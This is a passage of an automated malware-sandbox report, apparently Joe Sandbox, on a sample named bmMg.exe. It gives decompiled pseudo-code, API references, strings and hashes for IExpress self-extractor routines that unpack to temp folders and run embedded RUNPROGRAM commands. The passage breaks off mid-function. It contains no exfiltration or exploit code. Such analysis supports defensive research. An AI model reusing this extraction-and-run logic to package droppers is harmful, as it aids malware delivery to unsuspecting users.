C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D63EB

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-2312194364
Opcode ID: 1cba17c8596892f8b92c95a9f03c851652e0bc732bbcf4b7b5f99ab1799f4cd9
Instruction ID: 7af8c3a840aed59a8a269bd015a092064f4c2a9b9f27dc919972f4248689afd2
Opcode Fuzzy Hash: 1cba17c8596892f8b92c95a9f03c851652e0bc732bbcf4b7b5f99ab1799f4cd9
Instruction Fuzzy Hash: 352102B1A0121CABDB28DF25DCC5FEB7768EB45314F0001A9E594A3280CBB46DC4CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 011D6517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E011D6517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x11d9a3c; // 0x11d0000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E011D44B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x011d651f
0x011d652a
0x011d6534
0x011d656b
0x011d6577
0x011d657c
0x011d6536
0x011d653e
0x011d6542
0x00000000
0x011d6544
0x011d6547
0x011d654c
0x011d6549
0x011d6549
0x011d6549
0x011d655e
0x011d6560
0x011d6569
0x00000000
0x00000000
0x011d6569
0x011d6542
0x011d6587

APIs

FindResourceA.KERNEL32(011D0000,000007D6,00000005), ref: 011D652A
LoadResource.KERNEL32(011D0000,00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 011D6538
DialogBoxIndirectParamA.USER32(011D0000,00000000,00000547,011D19E0,00000000), ref: 011D6557
FreeResource.KERNEL32(00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011D6560

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 2267f82c27f10b85e0344a0d88d57cf7587881f8dc9ce1666acbd03978781fb6
Instruction ID: c6baa9121389e1ee66c8dba581e9e1c4ee8814ce195f2e38b225a32777a288f0
Opcode Fuzzy Hash: 2267f82c27f10b85e0344a0d88d57cf7587881f8dc9ce1666acbd03978781fb6
Instruction Fuzzy Hash: 0D01D672102619BBDF299EA9AC48DBB7B6CEF857A1B410125FE2093144D7719D90C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 011D3680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D3680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x011d368c
0x011d368f
0x011d3691
0x011d369f
0x011d36a7
0x00000000
0x00000000
0x011d36ba
0x00000000
0x011d36bc
0x011d36bc
0x011d36c0
0x011d36cb
0x011d36c2
0x011d36c4
0x011d36c4
0x011d36da
0x011d36e0
0x011d36e6
0x00000000
0x00000000
0x011d36e6
0x00000000
0x011d36ba
0x011d36ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 011D369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011D36B2
DispatchMessageA.USER32(?), ref: 011D36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011D36DA

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 9aac7dcec7596964128ebf8f28c77fa6551d51289b92ef4ed9fcd0a2d952060a
Instruction ID: 345e87135eda8a33976c65ee19ae1c51441fea87740507262602313098ab82f5
Opcode Fuzzy Hash: 9aac7dcec7596964128ebf8f28c77fa6551d51289b92ef4ed9fcd0a2d952060a
Instruction Fuzzy Hash: 690167B291125577DB348AAA6C4CEEB7A7CFBC6B10F040129FA25E3184D661C684C771

Uniqueness

Uniqueness Score: -1.00%

Function 011D65E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E011D65E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x011d65e8
0x011d65ed
0x011d65ef
0x011d65f2
0x011d65f4
0x011d65f4
0x011d65f6
0x011d65f7
0x011d6608
0x011d6611
0x011d6618
0x011d661c
0x00000000
0x00000000
0x011d660e
0x011d6623
0x011d6625
0x011d663b
0x011d663b
0x011d663d
0x011d6641
0x011d6610
0x011d6610
0x00000000
0x011d6610
0x011d6644
0x011d6647
0x011d6647
0x011d6621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,011D2B33), ref: 011D6602
CharPrevA.USER32(?,00000000), ref: 011D6612
CharPrevA.USER32(?,00000000), ref: 011D6629
CharNextA.USER32(00000000), ref: 011D6635

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 75cb88f93ae635d2a91cdc94dcbc944b048a1b06491b385a1ff839ac70db6503
Instruction ID: c538871c46ea703c81600805465a60ca658c771866dda20494495986356b013e
Opcode Fuzzy Hash: 75cb88f93ae635d2a91cdc94dcbc944b048a1b06491b385a1ff839ac70db6503
Instruction Fuzzy Hash: 3FF028320061606EE73B4E3C9C888BBBF9CCF8B19471901BFE5A183001D7150A86C761

Uniqueness

Uniqueness Score: -1.00%

Function 011D69B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D69B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x11d81f8 = E011D6C70();
				__set_app_type(E011D6FBE(2));
				 *0x11d88a4 =  *0x11d88a4 | 0xffffffff;
				 *0x11d88a8 =  *0x11d88a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x11d8528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x11d851c; // 0x0
				 *_t5 = _t12;
				_t6 = E011D7000();
				if( *0x11d8000 == 0) {
					__setusermatherr(E011D7000);
				}
				E011D71EF(_t6);
				return 0;
			}

0x011d69b7
0x011d69c2
0x011d69c8
0x011d69cf
0x011d69d8
0x011d69de
0x011d69e4
0x011d69e6
0x011d69ec
0x011d69f2
0x011d69f4
0x011d6a00
0x011d6a07
0x011d6a0d
0x011d6a0e
0x011d6a15

APIs

Part of subcall function 011D6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 011D6FC5

__set_app_type.MSVCRT ref: 011D69C2
__p__fmode.MSVCRT ref: 011D69D8
__p__commode.MSVCRT ref: 011D69E6
__setusermatherr.MSVCRT ref: 011D6A07

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 03beb55f843d125f16ebe8b07d097d53592d5bef2518dcd612903b9c3548e362
Instruction ID: 07b051164180db300c43588988e7dc2e3b73de53cca23172686ea59d8c1a55c5
Opcode Fuzzy Hash: 03beb55f843d125f16ebe8b07d097d53592d5bef2518dcd612903b9c3548e362
Instruction Fuzzy Hash: B1F015745073228FCB3DAB36F50A6093BA1FB15339B104629E4B2862D8CF3A85C0CB10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bmMg.exePID: 5132, Parent PID: 5152COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	969
Total number of Limit Nodes:	43

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00F83BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F83BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0xf88004; // 0x644c7055
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0xf89124 =  *0xf89124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0xf88a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0xf88c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E00F8468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0xf89124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00F81AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00F86CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00F83FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0xf88580;
													if( *0xf88580 != 0) {
														E00F82267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0xf88180;
											if( *0xf88180 == 0) {
												_t146 = 0x4c7;
												E00F844B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0xf89124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0xf89a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00F86495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E00F844B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0xf89124 = E00F86285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E00F844B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0xf88a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0xf89a40; // 0x3
											_v364 = _t96;
											_t97 =  *0xf88a38 & 0x0000ffff;
											_v380 = 0xf89154;
											_v376 = _t151;
											_v372 = 0xf891e4;
											_v360 = _t97;
											if( *0xf88a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0xf89a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0xf88d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0xf89a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0xf8a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0xf89124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0xf89a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0xf88a20;
										if( *0xf88a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E00F8202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E00F8468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0xf88c42;
									if( *0xf88c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0xf88a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E00F8468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E00F8468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00F81781( &_v276, 0x104, _t130, 0xf88c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E00F8468F(_t130, 0xf89a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00f83baa
0x00f83bb0
0x00f83bb7
0x00f83bc0
0x00f83bc2
0x00f83bc9
0x00f83bcb
0x00f83bcf
0x00f83bd3
0x00f83bd9
0x00f83bfd
0x00f83bfd
0x00f83bff
0x00f83c03
0x00f83c03
0x00f83c11
0x00f83c16
0x00f83c19
0x00f83c28
0x00000000
0x00000000
0x00f83c30
0x00f83c39
0x00f83c40
0x00f83d13
0x00f83d15
0x00f83d21
0x00f83d26
0x00000000
0x00f83c4f
0x00f83c56
0x00f83c60
0x00f83c65
0x00f83c77
0x00f83c78
0x00f83c7c
0x00f83c7e
0x00f83c82
0x00f83c82
0x00000000
0x00f83c7c
0x00f83c67
0x00f83c69
0x00f83c6d
0x00000000
0x00f83c58
0x00f83c58
0x00f83c6e
0x00f83c6e
0x00f83c87
0x00f83c89
0x00f83d4d
0x00f83d4f
0x00f83d50
0x00f83d52
0x00f83d9e
0x00f83da8
0x00f83daf
0x00f83db4
0x00f83db6
0x00f83f4d
0x00f83f4d
0x00f83f4f
0x00f83f56
0x00f83f57
0x00f83f58
0x00f83f63
0x00f83f63
0x00f83dbc
0x00f83dc0
0x00f83dc2
0x00f83de6
0x00f83de6
0x00f83de8
0x00f83f0b
0x00f83f0b
0x00f83f0f
0x00f83f13
0x00f83f15
0x00f83f1a
0x00f83f1c
0x00f83f46
0x00f83f47
0x00000000
0x00f83f47
0x00f83f1e
0x00f83f1f
0x00f83f25
0x00f83f26
0x00f83f2a
0x00f83f2d
0x00f83fd9
0x00f83fd9
0x00f83fda
0x00f83fda
0x00f83fe1
0x00f83fe3
0x00f83fe3
0x00f83fe8
0x00000000
0x00f83fe8
0x00f83f33
0x00f83f37
0x00000000
0x00f83f37
0x00f83dee
0x00f83dee
0x00f83df5
0x00f83fad
0x00f83fb9
0x00f83fc2
0x00f83fc8
0x00000000
0x00f83fc8
0x00f83dfb
0x00f83dfd
0x00000000
0x00000000
0x00f83e03
0x00f83e0a
0x00000000
0x00000000
0x00f83e15
0x00f83e17
0x00f83e19
0x00f83f94
0x00f83fa4
0x00f83f7c
0x00f83f80
0x00f83f8b
0x00000000
0x00f83f8b
0x00f83e2c
0x00f83e30
0x00f83e34
0x00f83e36
0x00f83f69
0x00f83f6e
0x00f83f70
0x00f83f76
0x00000000
0x00f83f76
0x00f83e3c
0x00f83e43
0x00f83e47
0x00f83e52
0x00f83e56
0x00f83e5c
0x00f83e61
0x00f83e68
0x00f83e70
0x00f83e74
0x00f83e7c
0x00f83e80
0x00f83e82
0x00f83e82
0x00f83e87
0x00f83e87
0x00f83e8b
0x00f83e91
0x00f83e94
0x00f83e96
0x00f83e96
0x00f83e9b
0x00f83e9b
0x00f83e9f
0x00f83ea2
0x00f83ea4
0x00f83ea4
0x00f83ea9
0x00f83ea9
0x00f83ead
0x00f83eb3
0x00f83eb6
0x00f83eb8
0x00f83eb8
0x00f83ebd
0x00f83ebd
0x00f83ec1
0x00f83ec3
0x00f83ec5
0x00f83ec5
0x00f83eca
0x00f83eca
0x00f83ece
0x00f83ed5
0x00f83ed9
0x00f83ee0
0x00f83ee6
0x00f83eea
0x00f83eec
0x00f83eee
0x00f83ef3
0x00f83ef3
0x00f83ef5
0x00f83efa
0x00f83efb
0x00f83efd
0x00f83f40
0x00000000
0x00f83eff
0x00f83eff
0x00f83f05
0x00000000
0x00f83f05
0x00f83efd
0x00f83dc7
0x00f83dce
0x00000000
0x00000000
0x00f83dd0
0x00f83dd7
0x00000000
0x00000000
0x00f83dd9
0x00f83ddb
0x00000000
0x00000000
0x00f83ddd
0x00f83de1
0x00000000
0x00f83de1
0x00f83d59
0x00f83d65
0x00f83d6a
0x00f83d6c
0x00000000
0x00000000
0x00f83d6e
0x00f83d75
0x00000000
0x00000000
0x00f83d8f
0x00f83d96
0x00f83d98
0x00000000
0x00000000
0x00000000
0x00f83d98
0x00f83c8f
0x00f83c98
0x00f83cf1
0x00f83cf3
0x00000000
0x00000000
0x00f83cfe
0x00f83d11
0x00000000
0x00000000
0x00000000
0x00f83d11
0x00f83c9c
0x00f83ca5
0x00f83ca7
0x00000000
0x00000000
0x00f83cad
0x00f83cb2
0x00f83cb7
0x00f83cc5
0x00000000
0x00000000
0x00f83ce8
0x00f83cec
0x00f83ced
0x00f83ced
0x00000000
0x00f83ce8
0x00f83c9e
0x00000000
0x00f83c9e
0x00f83c56
0x00f83d35
0x00f83d35
0x00f83d3c
0x00f83d48
0x00000000
0x00f83d48
0x00f83c03
0x00f83be2
0x00f83be7
0x00f83bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00F83C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00F83CDC

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00F88C42), ref: 00F83D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00F83E26
FreeLibrary.KERNEL32(00000000,?,00F88C42), ref: 00F83EFF
LocalFree.KERNEL32(?,?,?,?,00F88C42), ref: 00F83F1F
FreeLibrary.KERNEL32(00000000,?,00F88C42), ref: 00F83F40
LocalFree.KERNEL32(?,?,?,?,00F88C42), ref: 00F83F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00F88C42), ref: 00F83F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00F88C42), ref: 00F83F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00F88C42), ref: 00F83FC2

Strings

<None>, xrefs: 00F83CC9, 00F83D7D
USRQCMD, xrefs: 00F83CAD
ADMQCMD, xrefs: 00F83C9E
POSTRUNPROGRAM, xrefs: 00F83D60
DoInfInstall, xrefs: 00F83E1F, 00F83E24, 00F83F68
REBOOT, xrefs: 00F83BE2
lenta, xrefs: 00F83E68
RUNPROGRAM, xrefs: 00F83D05
SHOWWINDOW, xrefs: 00F83C34
advpack.dll, xrefs: 00F83F9D
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F83E74
D, xrefs: 00F83C19

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$lenta
API String ID: 1032054927-3996648855
Opcode ID: 0e18e8aaf6d7a4457ebeafd849d3a92c9d78a6be1d10c5da1dc0899021cb63e3
Instruction ID: a568d07caecc8feb6d8a913719d33642b45830e34247fb3029338a0eecd9d0eb
Opcode Fuzzy Hash: 0e18e8aaf6d7a4457ebeafd849d3a92c9d78a6be1d10c5da1dc0899021cb63e3
Instruction Fuzzy Hash: 30B11371A083059BD724FF248C45BFB76E4EB85B60F00092EFA85D61A1EB74D905FB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F81AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F81AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
